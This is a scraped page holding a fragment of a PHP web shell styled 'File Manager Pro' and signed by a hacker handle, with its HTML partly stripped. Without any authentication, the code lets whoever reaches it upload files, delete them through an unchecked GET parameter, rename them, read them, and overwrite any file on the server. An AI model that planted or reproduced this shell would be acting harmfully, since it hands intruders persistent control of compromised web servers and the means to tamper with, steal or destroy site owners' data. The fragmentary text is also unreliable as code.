File Manager Pro - Mr.XycanKing
PATH: "; foreach($paths as $id => $pat){ if($pat == '' && $id == 0){ echo '
/
'; continue; } if($pat == '') continue; echo '
'.$pat.'
/'; } echo "
"; // --- FITUR UPLOAD --- echo "
UPLOAD
"; if(isset($_POST['up'])){ if(@copy($_FILES['index']['tmp_name'], $path.'/'.$_FILES['index']['name'])) echo "
[+] File Uploaded!
"; } // --- FITUR DELETE --- if(isset($_GET['del'])){ if(@unlink($_GET['del'])) echo "
[!] File Deleted!
"; } // --- FITUR RENAME --- if(isset($_POST['rn_ok'])){ if(@rename($_POST['old_path'], $_POST['new_path'])) echo "
[+] Renamed!
"; } // --- FITUR EDIT SAVE --- if(isset($_POST['ed_ok'])){ if(@file_put_contents($_POST['ed_path'], $_POST['ed_content'])) echo "
[+] File Saved!
"; } // --- TAMPILAN RENAME BOX --- if(isset($_GET['rename'])){ echo "
RENAME
"; } // --- TAMPILAN EDIT BOX --- if(isset($_GET['edit'])){ echo "
".htmlspecialchars(file_get_contents($_GET['edit']))."
SAVE CHANGES
"; } // --- LIST FILE MANAGER --- echo "
NAME
SIZE
ACTION
"; $items = scandir($path); foreach($items as $item){ if($item == '.' || $item == '..') continue; $full = $path.'/'.$item; echo "
"; if(is_dir($full)) echo "
[ DIR ] $item
"; else echo "
$item
"; echo "
".(is_dir($full) ? '-' : (round(filesize($full)/1024, 2))." KB")."
EDIT
RENAME
DEL
"; } echo "
"; ?>
© Mr.XycanKing